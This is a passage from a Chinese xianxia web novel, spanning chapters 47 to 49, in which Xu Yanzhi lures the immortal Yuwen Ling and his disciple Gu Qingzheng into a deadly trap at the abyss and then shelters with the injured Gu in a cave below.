“入夜后,新临渊城不再许人进出。”宇文令试探地看着背着灯光,掩在阴影中的徐宴芝,问道。 “我有法子,你与我来 便是。“徐宴芝不动声色走过他身前,站在大门外回过头来,“时间紧迫。” 宇文令面上一抽,不再多言,抬脚跟了上去。 他们离开后不久,墙边阴影处,似乎有什么一闪而过,也追了过去。 第47章 第四十七章两个猎物 已是后半夜,月亮斜斜挂在天上,照得新临渊城中十分亮堂,城中一片寂静,徐宴芝走在小巷的阴影中,只能听到自己与身后人的脚步声。 她走得快,身后人就走得快。 她放慢了脚步,那人也跟着慢慢走。 宇文令这样小心谨慎,让徐宴芝也生出一些不安来。 穿过一条小巷后,她停下脚步,试探道:“我们从南边出城。” “嗯。”宇文令应了一声,并未对出城的方向提出异议。 “可是你要去的方向?”徐宴芝又开口。 “是。”这回他又明说了。 徐宴芝无声地笑了笑,转头继续朝着南边走去。 新临渊城中应当是有守卫巡视的,可奇怪的是,徐宴芝与身后人走了这样久,也没有碰上第三个人。 待走到南边的城门旁,城门虽未大开,一旁的供人出入的小门却开了一条缝,被风吹得吱呀作响。 宇文令的视线越过徐宴芝,见原本应当在此的守卫不见踪影,他心中一顿,却并未发问。 月亮很亮,像是在城门前的空地上点了一盏仙灯,任谁走向前,都要被看个清楚。 但徐宴芝脚步未停,从小巷径直走向城门,她没有遮挡的意思,毫不在意地露出头脸,任由月光洒在身上。 她身后那人见状,却停了下来。 他怔在原地,用闵道一的眼,出神地望着徐宴芝的背影。 因神魂在他人身躯内,宇文令的思绪有时会变得恍惚,瞧见徐宴芝忽然走到明处后,他方才后知后觉地意识到,徐宴芝似乎瘦了。 原本丰腴的女人成了薄薄的人架子,迎着月亮镀上了一层银,泥塑似得。 宇文令眼睛不眨地看着,久了,连带着他视线内的一切都起了梦幻朦胧的毛边。 世界似真似幻,他驻足不前。 他不动,徐宴芝便回头看他。 银光照在她眼里,教那双琥珀色的眼清凌凌如镜子般倒映着他的脸。 风停了,远处的门不再轻响。 他的耳里只有神魂寄居的身躯血液汩汩流动的声音,眼里只有站在空地上的女人。 女人对他伸出了一只手。 宇文令垂眸看去,她的手是惨白的,看上一眼,就知晓了那只手的温度,想来是冰冷的,跟她的目光一样。 “过来。” 她的声音分明不大不小,撞在宇文令的鼓膜上,却一阵阵回响,令他不由自主地迈出一步。 一步,两步,他被召唤着,将手放入了徐宴芝的手上。 毫不意外的寒意顺着指尖窜到了他的心尖,宇文令反射性地想抽回手,却反被紧握。 有一刹那,徐宴芝的视线似乎看向了他们身后的远处。 但不等宇文令察觉,她已经回头,带领他穿过了无人的城门,走向了死寂的荒野。 他们走后,那扇门又开了一点,发出刺耳的声响。 但两人那时已经走远,将漆黑沉默的城池抛在身后边。 城外倒比城内喧嚣,两人行走间大风又起,在枯枝败叶间呜咽着,吹得沙石迷眼,把人淹没在尘土气息里。 徐宴芝与他迎着风往南边走,走了一会儿,开始有丝丝缕缕的浊气混在风中,尝试着钻进人身体里。 越往南,浊气越重,长于无尽之崖下的生灵走上了归家路,但被灵力浇灌大的仙人却无法忍受。 “唔——”徐宴芝的身后传来一声闷哼,握着的手猛地一颤。 她身形一顿,放慢脚步,借着月光瞥了一眼身后人。 那人紧咬着牙关,瞳仁震颤着,似乎遭受着极大痛楚。 “怎么了。”她明知故问。 宇文令的身躯就在无尽之崖附近,而闵道一的仙人之躯又无法全须全尾的穿过重重浊气,他选择徐宴芝,难道当真是因为从前的情分?他会不会还对自己隐藏着什么? 徐宴芝目光灼灼,而她眼前的人缓缓垂下了头。 他一定是极难受的,过了好一会儿,方才呼吸平缓,抬头时眼已经全红了,哑声说道:“浊气太重,有些难受罢了。” “再往南边走,你会更难受,不若告诉我在哪儿,我去帮你取来,也省得你受苦。”徐宴芝扯了扯嘴角道。 那人眨了眨闵道一生来天真的眼,轻声道:“无妨,还能再走一段。” 说话间,他毫不迟疑地抬手封住了自己一身经脉,气息与灵力流动瞬间变得极缓慢,而当灵力不再流淌,仙人的身躯与夜间的风,地上的石块无异。 这并非艰涩的仙法,封住灵力、气息,等于暂时散尽功法,让仙人如死物一般。 虽然能在浊气中行走,但压制得久了,也会伤及根本。更何况这样做后浊气仍旧会影响理智,而仙人力量全失,又丧失神智时,一个业鬼便能要了他的小命。 “道一的身子,被你这样糟蹋。” 徐宴芝目光凉凉地看着他。 只是她嘴上谴责着,却又不阻拦,看了片刻,掉头继续带着他往南。 脚步倒是比之前快了。 越走空气越浑浊,越走路越熟悉。 浊气如云雾般抱着徐宴芝的腿,她快步走,搅得黑气起了旋,在身后留下了长长的波纹。 波纹渐渐在身后合拢,不一会儿,有什么东西经过,又起了涟漪。 再往前走一些,就要到海娜爬上地面的那条裂缝了。 那条裂缝中长满了寒来花,层层叠叠的,从崖底一直长到了地上,更与众不同的是,裂缝生来便是倾斜的,容得活物攀附,不似更南边一点,那道贯穿大陆正中的深渊悬崖,悬崖两边的岩壁笔直光滑,难以攀爬。 宇文令的身躯还能藏在哪儿? 这一路上,虽然与身后人并无半点交谈,但她的脑子却一直未曾停下,徐宴芝越想,越觉得答案已经呼之欲出—— 若是宇文令当时已经跌入了无尽之崖,失去意识的他会顺着光滑的岩壁一直坠落到底,而居住在崖底的她的族人们一向对崖上的一切充满敌意。 一具仙人躯体从天而降,这样大的动静,她的族人们绝不会放过,在灵力难以达到的深幽处,不论宇文令施了什么禁术,也无法在崖下人面前护住他的肉身。 若是他的肉身已经被崖下人毁了,寄生在闵道一体内的神魂也不会如现在一般,想尽办法回到这里。 这些念头从脑中闪过时,一切好似终于走到了最终,结局等在她的来处,在夜空里对着她招手。 连她的呼吸都停了一瞬。 徐宴芝无法再扮演,沉沉地东西压在她胸口,越坠越重,她猛地回头看向身后。 身后人原本顺从地垂首跟着她往前,徐宴芝忽然的动作让他轻轻地哆嗦了一下,片刻后,他皱着眉,面色惨白地抬头看她。 他们对视时,宇文令好似意识到了什么,缓缓扯了扯嘴角,僵硬地对她笑了笑。 徐宴芝将那笑容视为赞同,她吸进了一口气,甩开了握着的手,朝着某个方向快走,小跑,狂奔。 她把那人抛在身后,独自穿过重重浊气,气喘吁吁地来到了裂缝旁。 裂缝远看不起眼,她走近后低下头,眼中倏地出现了重重叠叠的白色小花,拇指大小,长着五瓣花瓣,在浊气吹拂中颤颤巍巍地摇晃着,是脆弱易碎的模样,却从裂缝边缘,一直挤挤挨挨地延伸到了看不见的深处。 “就在这儿了。” 她将气喘匀了,喃喃自语道。 身后人还未跟上来,徐宴芝已经迫不及待,顺着寒来花的藤蔓下了裂缝。月亮被抛在身后,她的视线开始变得昏暗,抓着花茎的手不断传来熟悉的触感——冰凉的、黏腻的。 稍微用力,惨白的花瓣便碎在手指尖,汁液沾了一手,迸发出植物与泥土的腥气钻进了她的鼻子,教她鼻头痒痒的,想要打喷嚏。 可周围太安静,徐宴芝强忍了下来,不愿发出声响惊动了不存在的什么东西。 她的动作很快、很熟练。 裂隙通往她的来处,是她再熟悉不过的地方,为了从深渊里爬上来,她曾在这道狭窄的裂隙中向上爬了无数次,失败了无数次,直到她从孩童长成了少女,才终于有了力量,挣脱了吞噬一切的黑暗。 手脚并用往下爬了一段,徐宴芝头顶唯一的光芒忽然消失了。 模模糊糊的,她感到有一道视线定在了自己身上。 是宇文令操控着闵道一的身躯俯下身来看她。他背着光,凑得太近,几乎遮蔽了整个缝隙的入口。 徐宴芝抬起头向上看去。 此时看不清他的眼睛,但她能料想到,那双圆眼睛现下的样子,一定睁得很大,好像贴在她面前一般,直勾勾地盯着她。 他一动也不动,不说话,只是俯身看着她。 迎着她想象中的注视,徐宴芝旧伤处变得麻痒起来,她忍了许久,方才熬过这一阵不适。 她心中有鬼,他心中有鬼,现下不知在哪儿的顾青峥心中也有鬼。 所以他也不问她,她也没有交代,两个人各自揣着不可告人的心思,沉默地交换了一个看不见的对视。 徐宴芝垂下了头,继续往下,一边爬,一边咬牙。 宇文令真是好运,重伤之下,竟然不曾直接坠入无尽之崖,而是跌进了裂缝之中。 这裂缝又斜,里头又长满了寒来花,已经能够将外头的浊气阻隔一半,那日恐怕他先在里头滚了一会儿,而后便得了片刻清醒,发动了最后的保命禁术。 想到他这样难杀,徐宴芝蓦地烦躁起来,连带着背上也泛起一片刺痛,偏偏此时正要紧,她空不出手来服下丸药止痛,只能强耐着性子往下摸索。 如此这般,在潮湿的裂缝中爬行了许久后,她的右脚忽然踩在了柔软又有弹性的东西上。 徐宴芝呼吸一滞,心头狂跳,小心翼翼地伸手去触碰脚下。 她的指尖传来肌肤的触感。 徐宴芝连忙松开手,往下滑落了一段距离,停在那东西的旁边。 这时她的眼睛已经适应了黑暗,眨了眨眼后,一个硕大的肉茧出现在她眼前。 肉茧外表光滑,肌理细腻,一半埋进了泥土里,露出来的一半上头隐隐约约布满了青色血管一般的东西,与簇拥着它的寒来花一齐颤动着,好似里头有个活物,正在跃跃欲试地挣破枷锁。 就是这个,她找到了。 徐宴芝飞快地抬头看了一眼,按捺住焦躁感,撕下衣角,将肉茧紧紧缚在身上,手脚并用的向上爬去。 沉重的、温热的肉茧隔着一层衣衫贴着她的背,坠得她数次滑落,险象环生。 事情已经到了最后关头,她害怕肉茧从简易的捆绑中甩出去,咬了咬牙,不得已用一只手背过去托着那物。 一瞬间,指腹传来了富有弹性的肉感,毛骨悚然的恶心袭上徐宴芝心头,让她几欲作呕。 她将牙咬得更紧,铁锈味弥漫在口腔里,一种难以言喻的怨恨涌上了徐宴芝的心头。 裂缝里一片寂静,她的耳边回响着自己咚咚的心跳,双手沾满了寒来花的汁液与泥土,眼睛渐渐变得猩红起来。 向上攀附着藤蔓的手越握越紧,更多的寒来花碎在徐宴芝的掌心里,她慢慢闭上眼,嘴唇翕动着,无声地说着什么。 再睁开眼时,她又恢复了平静。 回时比去时快了许多,徐宴芝没觉得费了多少时间,便将那肉茧带到了地上。 双脚踩在了地上,才察觉出累来,她浑身发软,脸上半点血色也无,踉跄着往地上一坐,捂着胸口,伏在地上大喘气。 那人操控着闵道一的身子,早早地让到了一旁。 他现下说手无缚鸡之力也行,正是脆弱不堪,灵力全无的时候,若不是如此,这样要紧的事,他也不会候在这浊气重重的地方,只眼睁睁看着徐宴芝下去。 两人心中各有主意,彼此对视一眼,又立刻移开了视线。 徐宴芝身旁的肉茧动的更厉害了,不时还要轻轻碰到她的胳膊,她忍不住激灵了一下。 那人看着她下意识地远离了那躁动着的、半人高的肉茧,他轻笑道:“不要怕。” “我没怕。”徐宴芝反驳道。 她压下了气喘,指着肉茧又道:“可还需要旁的仙法、阵法?” “不必。”宇文令又笑,他的语气已经没了来时的紧绷感,“只是,在破茧前,我要问问你。” “嗯?” “今日出城,是谁在暗处助你?” 徐宴芝唔了一声,仍然伏在地上,教人看不到她的表情。 她眼珠也不动,看着身下如有实质的浊气,慢吞吞地说道:“我在此城唯一助力,不就是青峥吗?” “下山前我对你说,我要杀了他,我与他说——” 随着徐宴芝的轻言细语,远处似乎传来的破空之声。 “——我要杀了你。” 她的话音未落,眼前闵道一的**已经轰然倒下,那一枚令人不适的肉茧从中间破开,赤裸的男子慢慢地拨开茧房,从中缓缓站立起来。 宇文令消瘦凹陷的脸颊上落下几滴粘液,他看着远处不断靠近的身影,不甚灵活地握了握拳。 “你的话,究竟哪一句是真的?” 月光下,宇文令困惑地问道。 嘴上这样说着,可他眼睛却死死地看着远处,并不是要认真听徐宴芝辩白的样子,似乎找回了肉身后,从前的自傲也一齐回到了他的身上,结果是好的,那么过程便不重要了。 “都是真的。”伏在地上的人声音很轻地回答道。 徐宴芝说着,抬起了头,看向持剑而来的顾青峥,他的剑反射着月光,身形上笼罩着一团若有似无的浊气。 她低语时,身边的人已经上前迎战,恐怕也不曾将这句话听进耳中。 黑雾被两个男子搅成了黑色的漩涡。 远离圣山,浸透在侵蚀身躯的浊气中,此界最强仙人宇文令也只得全力护着神智,压制灵力,仅以肉身相搏。 他的得意弟子却拿着一柄长剑。 长剑是死物,本身并不受灵力浊气影响,锋利无匹,在两人境界都大幅跌落的情况下,顾青峥只用了数十个回合便占了上风。 但占了上风,并不代表顾青峥能在短时间内将宇文令斩下。 他今夜一路尾随,早已受到浊气影响,此时还有几分余力尚不可知,不似方才新生的宇文令,到底在肉茧中凝神修养了许久。 又交手了十几个回合,一个不慎,顾青峥硬生生受了师父一掌,当下脸色便不好看了。 两人争斗,险象环生,却颇有默契的离徐宴芝越来越远。 徐宴芝趁机将倒在地上的闵道一拖到一旁,从锦囊中拿出一枚丸药,强行掰开他紧咬的牙关塞了进去。 这是她从问仙宫地宫中寻来的一枚极品固神丹,此时此刻,能勉强保住他的性命,守住他摇摇欲坠的神魂。 这些纷争,本来不应当将无辜的闵道一牵扯进来。 喂下丸药,徐宴芝屏息等了一会儿,见脸色煞白的闵道一慢慢有了一丝血色,紧闭的眼睛也颤动起来,方才放下了心。 黑雾涌动,她坐在地上,视线内只有不省人事的闵道一。 不知方向的远处,飘来谁受了伤发出的闷哼。 无人注视,只有顶上的月亮无言看着她,看着徐宴芝出了一会儿神,闭上了眼,将手放在地上。 她在感受着更远的地方,懵懂的神魂所在的地方。 只有黑暗与吞噬的世界仍旧嘈杂,徐宴芝聆听着周围的一切。 噗呲——是顾青峥长剑刺入宇文令身躯的声音。 轰隆隆——宇文令不退反进,一拳砸在顾青峥心口,他不受控的飞起,摔落在地上。 还有,在更深的地下,有什么东西听从了她的召唤,脚步沉重地向她奔来。 近了,更近了。 徐宴芝猛地睁开了眼。 她扶着膝盖站了起来,朝着仍在打斗的两人走去。 走了几步,又变 做了跑,跑了几步,身上破损的裙摆扰乱了她的脚步,徐宴芝狠狠地摔倒在地。 她片刻也不曾犹豫,干脆地爬起来,伸手将裙子整个撕下,扔在身后。 “在这里!” 她冲着极远处的虚空大喊道。 可明明眼前只有无尽的、翻涌的黑雾啊。 她的声音打断了漩涡中心的争斗,他们浑身是伤,闻声一怔,警惕地分开来,一同看向徐宴芝。 她笑了起来,眼里竟然像是闪着光一般。 她越过他们看向了远处。 “在这里!”她又高声道。 那些萦绕着她的晦暗消失了,月光并不耀眼,却让徐宴芝明亮了起来,好像终于找到了解开身上枷锁的钥匙。 须臾后,远处响起的嘶吼声回应了她。 大地倏地开始震动,懵懂的业鬼被熟悉的神魂召唤着,来到了她的身旁。 但离得近了,他们转而被鲜血的味道所吸引。 两个抑制了灵力、两败俱伤的仙人,自然是永远饥饿的业鬼最可口的美味。 风越来越大,嘶吼声夹杂在风中,响彻了荒原。 宇文令的伤口汩汩淌着鲜血,不一会儿便顺着身躯,湿了他脚边的土地,或许他还有余力能胜过顾青峥,但—— 他往业鬼来的方向看了一眼。 眨眼间,那些可怖的怪物又近了一些。风里裹挟着腥味,钻进了他的鼻尖,他忽然想到,或许他从未真正看清楚过徐宴芝。 宇文令收回视线,摇摇晃晃地回头看向身后的女人。 失血过多,他感到一阵晕眩,眼里的女人变成了两个重叠的影子,他甩了甩头,低声道:“你真的想要我们的命。” 徐宴芝看了一眼沉默的顾青峥,不置可否地笑了笑。 似乎又到了绝境,被自己信任的枕边人背弃而走到了这一步,仿佛已经到了宇文令命运真正的终点。 但他毕竟是此界最接近另一个世界的人,他总要挣扎,即便是命运强压着他低头,他也要试试—— 宇文令向前踏了一步:“我不会让你这么轻易——” 他话音未落,眼中的徐宴芝又变得清晰起来,她的身影重新被月光镀上银边,像一尊不可抗拒的神女泥塑。 “回头,往南边走。”泥塑张口道。 她的话如同神谕,在他的耳中回荡着。 霎那间,宇文令的心重重地沉了下去,他终于察觉到了有什么地方不对。可他的双腿像生了根,他想说话,却无法张口。 徐宴芝的眼底幽幽燃着两簇火焰,宛若无尽之崖下的业火。 宇文令看着这一对他深陷其中的漩涡,在失去对身体的控制前,电光石火之间,他茫然地回想起他坠入无尽之崖的那一天。 他站在大殿准备出征的那一天。 他怀抱着徐宴芝,将掌门密令赐给她的那一天。 他亲手将太阴峰顶的取来的冰木制成发簪,准备在大婚前夜簪入她的发髻的那一天。 他顺着问仙宫下的台阶,一步一步,走到一个漂亮的崖下怪物面前,怪物的如瀑长发散落在地上,张开如同一张密密织成的网。 苍白的怪物从网中抬头看着他,轻声对他道:“我好疼,放过我吧。” 那一天。 原来他早就跳入了一个为他精心打造的陷阱。 那一天,那些天,都是弱小的猎食者编织的网,一点一点收紧时微弱的振动,是她为了麻痹猎物,缓缓注入的毒液。 宇文令怔在了原地,而后他转头,慢慢走向了他最终的命运。 徐宴芝终于杀死了她的猎物。 她眼也不眨地看了一会儿宇文令,直到确信他已经走远,她成功了,她的视线才转向了顾青峥。 徐宴芝打量着他,明了他应当也受了重伤,现在就是最好的机会。 “你和他一块儿就行了。”她轻轻眨了眨眼,对他缓缓绽放一个笑,柔声道。 顾青峥一动不动。 业鬼的脚步声越来越近,他不走,不躲,只是定定看着面前的徐宴芝。 她的暗示对顾青峥无效,这样的把戏她从前早早地用过太多次,他已经不会再受她蛊惑了。 徐宴芝慢慢收起了笑,她的雀跃一下子消失了,心沉到了肚子里,面上也不再堆起虚情假意,说不清是松了一口气还是恼火。 她的谎言被戳破了,暗示失效了,顾青峥手中拿着一柄滴血的长剑,在业鬼吞噬他之前,只要向前一步,他就能先夺走她的性命。 你死我活的时刻,她就这样看着顾青峥的眼睛。 “你为什么不能听我的话。”她嘴唇紧紧地抿着,眉间皱出了一道刻痕,她在控诉,“若你爱我,为什么不愿把性命给我?” 若你爱我。 顾青峥的眼角不自觉地抽动了一下。 她知道他爱她,她当然知道,她早就知道。 他想都不敢想,只能压在心底最深处的念头早被她看穿了,这些阴暗的、下作的心思一旦被人发现,顾青峥不比一条落水狗体面到哪儿去。 他早已经被她如同从前一般弃之若履,他或许与宇文令别无二样,只是更低级的,她不用多费心思的猎物,她只要他的命,他的爱是见不得人的脏东西。 业鬼的嘶吼愈发近了。 顾青峥周围的浊气环绕着他,一点一点地狡猾地往他将要崩坏的躯壳中挤,被他压抑许久,黑泥一般的情绪翻涌上心头,侵蚀他,将要占领他全部的神智。 坏的、疯的、歇斯底里的、痛苦的、扭曲的。 嫉妒、仇恨、憎恶、怨念。 爱。 顾青峥双目赤红,望着徐宴芝笑了一笑。 下一瞬,他出现在徐宴芝身前,伸手紧紧将她抱在怀中。 在业鬼来到前,顾青峥用尽了最后的力气,抱着怀中人,跳进了那道她来时的缝隙。 第48章 第四十八章恨即是爱 从地面上跌入幽冥的滋味并不好受。 即便是被顾青峥抱在怀中,顺着倾斜的缝隙滚落,中途无数次抓住身旁一簇簇的寒来花缓解坠势,徐宴芝仍旧在落地的第一时间失去了意识。 不知过去了多久,她再次睁眼时,视线中只能看到离身体很近的岩壁,她无意识地动了动身子,身下似乎也是坚硬的岩石。 有一瞬间,徐宴芝忘了这个夜晚发生的事,不愿思考自己现下在何处,只仰面躺着,望着岩壁上跳舞的鬼影发呆。 鬼影很疯狂,不住地相拥在一块儿,又激烈地从彼此身旁逃离,无口无眼,奇形怪状,有几分像邪灵作祟。 她看了入了神,直到意识到耳旁不住传来的哔剥声是火焰在燃烧,才恍然大悟,眼前的鬼影是火光的映射。 徐宴芝的神智渐渐回笼,她试图打量周围环境,却发现脖子一动便隐隐作痛。 恐怕是坠落时撞在哪儿了,她这样想着,小心翼翼地以极小的幅度侧脸看了看周围。 三面都是岩壁,她的右边不远处燃着一丛火堆,就着火光,徐宴芝终于看清了四周,她发觉自己正身处山洞之中。 火堆燃烧着,她下意识地想——顾青峥在哪儿? 她的脑海中闪过了在崖上的最后一幕。 因恨意而面目狰狞的顾青峥在她眼中不断放大,他的眼白红得像血,似乎将要有带着铁锈味的液体化作水滴沿着眼角滑落,而嘴唇又干燥惨白,浮起一层皮。 他撞过来,将她紧紧按在怀中,他们朝着裂缝的方向狂奔。 业鬼们在他们身后穷追不舍,时间的流逝在这个时候变得慢极了,徐宴芝看到业鬼们朝着她长大了嘴,最前头的几只业鬼嘴角挂着新鲜的血肉。 然而下一瞬,她的眼前一黑,顾青峥没有丝毫犹豫,他抱着她跳下了无尽之崖。 或 许顾青峥汹涌的恨意被他留在了崖上,他们在无尽地下坠时,在撞到裂缝中的石块时,他伸手护住了徐宴芝的头颈,用自己的身躯做缓冲,减少怀中人受到的冲击。 坠落之前,他方才与宇文令生死搏斗,再之前,他压制着一身修为,穿过了重重浊气。 他应该伤得很重,他在哪儿? 徐宴芝又动了动脖子,确信无大碍后,缓缓撑着岩壁坐了起来。 万幸的是,在无尽之崖下,除却光线十分微弱,仅依靠着某些发光的植物与岩石照明外,与上面的世界十分相似。 浊气在崖下,是稳定的力量,并不具备使人疯狂的能力,如同仙人们的灵力一般。 千钧一发之际,顾青峥向死而生,找到了唯一的活路。 徐宴芝怔忪望着火焰,品出了一些意味不明的庆幸。 只是她为什么会庆幸?明明现下的情况并不是她想要的,她明明想在昨夜一举解决掉两个麻烦。 一个是她的心腹大患,另一个也是,并且更糟糕的是,这个后来居上的心腹大患,与她发展出了一段见不得光的关系。 在她出神时,山洞外传来了脚步声。 脚步声忽轻忽重,最后停在了火光照不到的地方。 徐宴芝在明处,那人在暗处。 她看不到他的样子,或许他只是想在暗处观察自己,或许他想在出现前隐藏好他的情绪,毕竟事情已经发展到这个地步。 徐宴芝扪心自问,她现下也无法坦然自若地如同一切都不曾发生一般与他相处。 唯有一点她不确定,究竟是哪一点让她们无法面对对方? 是徐宴芝想要顾青峥的命却失败了,还是更荒唐的那一种,她说了那个字。 爱。 真是可笑。 他们可以一墙之隔,在宇文令身后的车厢中抵死缠绵,他们可以互相算计彼此的性命,明晃晃贪图无上的权势,他们可以卑劣地成为共犯,做从旁人背后下手的无耻鼠辈。 下流的、恶劣的一面都不吝向对方展露,都能视同寻常,但那个字眼—— 徐宴芝看着藏在暗处的那个身影,在心中承认是自己先出格了。 两个人隔着火堆,各自思索着,沉默了许久。 久到火焰也渐渐变小,将熄未熄地黯淡下来。 顾青峥从暗处显露了出来。 他侧着身子,倚在岩壁上,望着火光出神,也的确如同徐宴芝所想的,他应当受伤不轻,衣衫撕破了许多口子,影影倬倬地沁出了血色,对着徐宴芝的半张脸上都是深浅不一的擦伤。 火堆要灭了,火焰重重地跳了一下。 顾青峥回过神来,从身旁找出了不知从何而来的干柴,躬身添进了火中。 他转身,让徐宴芝看到了他的正脸,他左边的嘴角裂开了一道狰狞的小口子,斜斜向下,嘴角因此像是不忿地耷拉着。 原本是一张光风霁月的脸,破了个口子,忽然就平添了几分苦相。 火又旺了起来,顾青峥眼中倒映着赤红的光斑,他定定看了一会儿,闭上眼,倚着岩壁坐了下来。 “无尽之崖下,竟然是这样的景象。” 他垂着头,语气平平地开口说着,好似他们现下还在太阴峰上,他下山探险,得了消息回头与她说闲话,昨夜只是梦一场。 徐宴芝慢慢笑了起来:“从来如此,只是没人能看见罢了。” 他摆出了这样和平的姿态,徐宴芝自然没有意见,虚与委蛇才是他们最擅长的,所有的事情最好在表面上保持和谐。 “我们该怎么上去?” “怎么下来的,便怎么上去。”他先提要走,徐宴芝松了一口气,又补充,“只有这一条路。” “嗯,好一点再上路。”顾青峥轻声应了,垂下头,靠在岩壁上闭目养神。 山洞里又沉默了。 火焰炸了一下,顾青峥的肩膀忽然无意识地抽了抽,应当是特别疼,他的眉头因此微微地皱了起来。 他伤得不轻,毕竟是仙人之躯,崖下的浊气虽然稳定,可与他修行并无半点裨益,没有丝毫灵力的地方也无法用仙法治伤,此刻的顾青峥与凡人无异。 但他最好在出发前恢复。 徐宴芝动了一动身子,想要站起来,背脊上却猛地传来一阵刺痛,她无奈停了动作,想了一想,打破沉默道:“你去寻一种外头寻一种草药来。” “什么样的草药?”顾青峥仍然闭着眼,低声答道。 徐宴芝仔仔细细地将草药的形状、气味说了,又说了该去哪儿寻找,顾青峥听完点点头,没有问为什么,摇摇晃晃地站了起来,往外头走去。 “你放心,我的族人们几乎不会到裂缝这边来。”徐宴芝又对着他的背影说道。 顾青峥脚步未停,似乎是点了头。 “这一次,我说的是真的。” 神使鬼差的,徐宴芝竟然讲了这样一句话,话音还未落,她便后悔了,懊恼地用了几分力气咬住了唇。 幸运的是,她声音轻,顾青峥也走远了,应当不曾听到。 莫约过了半个时辰,顾青峥带着东西回来了。 他手上又添了几处新伤口,越过将要再次燃尽的火堆,将徐宴芝要的草药递给了她。 徐宴芝拿起这些有着细小叶片的矮草,细细地嗅闻了一番,点头道:“是这个。” 说罢,她双手用力拧了一把,挤压出了草药的汁液,摊手朝着顾青峥扬了扬下巴:“把衣服脱了。” 顾青峥飞快地看了她一眼,抿了抿嘴,默默褪下了衣物, “过来。”徐宴芝柔声道。 火光渐暗,顾青峥一步一步走到徐宴芝身前,他站着,长长地影子把徐宴芝笼在阴影里。 明明光线晦暗,徐宴芝斜斜倚在岩壁上,抬头看他的眼睛,那双眼睛却不知为何仍旧明亮。 她垂下眼,伸手将手上汁液涂抹在他的腰间。 这是崖下人常用的伤药,有着淡淡的青草气,有些好闻,十分好用,徐宴芝将他身上正面明显的伤口处理好,抬头道:“转身,坐下。” 顾青峥依言而行,背对着她坐下。 他腰间的长剑随着他的动作磕在地上,发出了一声轻响。 徐宴芝眼神在那柄剑上停留了一会儿。 这是顾青峥的本命法宝,到了这灵气断绝之地,虽无从前那般威能,仅凭削铁如泥的锋利程度,也是他在崖下的倚仗。 视线离开长剑,回到顾青峥背后时,因心神游离,徐宴芝猝不及防被吓了一跳。 他们坠入裂缝中时,顾青峥始终弓着背,护着怀中的她,因此背上伤得较重,尤其肩膀处,乌黑一片,看一眼便知道恐怕已经伤到了骨头。 这样的伤,即便徐宴芝再如何动作轻柔,草药汁抹在伤处,顾青峥的肩膀不受控制地抽动了一下。 徐宴芝语气更柔和了些,哄劝道:“忍一忍,上了药,很快就能好,或许明日,我们便能回去了。” 回去两个词,她咬字又轻又软,羽毛一般撩过顾青峥的耳尖,像是从前每一次,哄着他去做什么时一样。 一阵难以言喻的痛苦流经了他,顾青峥古怪地笑了。 “回去,还要继续从前那些把戏吗?”不知是疼,还是其他的原因,他的肩膀绷地很紧,“你想好要怎么跟山上那些人解释我们忽然消失不见了吗?” 徐宴芝手上倏地更用力了一些。 她看着顾青峥狠狠地颤抖了一下,听着他抑制不住的闷哼,温柔道:“还有些时间,够我们想的,只是你就忘了从前的事吧,如今咱们还有什么理由不齐心呢?” 从前的事,徐宴芝指的是昨夜她对顾青峥起了杀心,被他破局之事。 既然他没死,她也坠下无尽之崖一块儿受了苦楚,这事便并不算变成了死局,总要哄得顾青峥暂且放下恨意,来日方长才好。 只是她说了软和话,顾青峥却并未回答,更沉默了一分。 想了想,徐宴芝又低声道:“我一个弱女子,修为浅薄,如何在七峰存身?不过靠着一点小聪明,日日都如履薄冰,没了宇文令,谁知道你会不会是下一个宇文令,我不过想自保罢了。” 这话半真半假,终究姿态是低了下了,为自己辩白。 顾青峥慢慢回过头来,定定看着她的眼睛。 他漆黑的眼眸隐隐泛着一丝绿,一边嘴角因伤口向下,哀切极了。 他的眼睛像在哭,神态像在哭,语气像在哭。 只是眼角干得发红,红得带着怨气,好像心里那一潭幽幽的泪,早就干涸在久久地煎熬中,临到头了,只能装腔作势起个哭的样子,挤出几滴心头血,充作对他那颗烂得救不了的心的见证。 你为了自保,要杀我几次? 他想问,喉咙却堵得慌,张口嗬嗬地苦笑。 第一次远远看着,杀了绿奴,第二次在山上等着,想要送顾青峥跌进无尽之崖里,第三次最好一箭双雕,把麻烦一笔勾销在最初的地方。 崖下的草药效果惊人,顾青峥忽然便感受不到疼痛了。 他扯了扯嘴角,伸手握住徐宴芝的手腕,他的手平白无故地在发抖,却也能将她拉入怀中。 他抱紧了她,惩罚一般。 顾青峥分明用了十分力气,怀中那人仍旧好端端的,没有被他揉进左胸膛那空荡荡的位置里去。 他张了张嘴,终于说出了话来。 “我恨你。” 一次,两次,顾青峥反反复复地说着,说给他自己听。 徐宴芝的双手先是垂在身旁,接着缓缓抬了起来,回抱住了他。 第49章 第四十九章我们回去 恨这种情绪,究竟源于何处? 于顾青峥而言,是因为重重注意放在某处,却总也得不到回应,人像是空落落地浮在半空中,心也掏空,只剩下许多惶恐难捱。 这些惶恐难捱寄居在空心里,随着时间,慢慢酝酿成了一坛苦酒,泡得人也苦成了一团,略微咂摸一些,就能品出其中的滋味。 顾青峥鼻尖传来一丝酸楚。 或许是因为他把头埋在了徐宴芝发间的缘故,她的头发此刻乱糟糟的,偶尔刺一刺他,便有些不适。 他动了动,想要抬头。 但最后却被什么控制着,脸颊贴着她的脖颈用力地蹭了蹭,手臂也不自觉用力,按着把徐宴芝往心窝处塞。 这一瞬,顾青峥本能想要更多。 他想要填满心间这永远也填不满的欲望的沟壑。 “疼……” 顾青峥抱得太紧了,沉默的、汹涌的情绪从他身上溢出,将徐宴芝包裹,几乎将她溺毙其中。 她能感受到那是什么,他们曾亲密无间,她当然地沉迷过与他缠绵。 情愫的传达并不一定需要言语,一个眼神,一个拥抱,一个深吻,那些深藏在心底,永远无法诉诸于口的感情便溢满了,不由自主地要流淌出来。 徐宴芝有轻微的窒息感,她仿佛就要失去抵抗,被顾青峥拉进漩涡之中,他沉重的感情压在她的背上,按着她的脖颈,要他们一齐坠入最深的深渊里。 光线渐黯,连带着徐宴芝的情绪跟着一块儿低沉下来。 顾青峥身高臂长,拥她在怀时,仿佛将她嵌入身体,光洁的肌肤,连同着体温与气息一块儿强硬地包裹着她。 这让她愈发难以呼吸,只能轻轻地挣扎着,一只按在他胸前,要把他推开一些。 她也不敢用力,身前男人有几处伤口在前,他们现下的处境已经十分不妙,不能再伤着他。 所以推不开,反倒被抱得更紧,也没叫徐宴芝吃惊。 湿漉漉的鼻息喷在她的后颈,又热又黏,还有什么细小坚硬的东西不时扎在肉上,带来一阵刺痛。 她想了一会儿,才意识到是顾青峥新长出来的胡渣。 这叫徐宴芝恍惚起来。 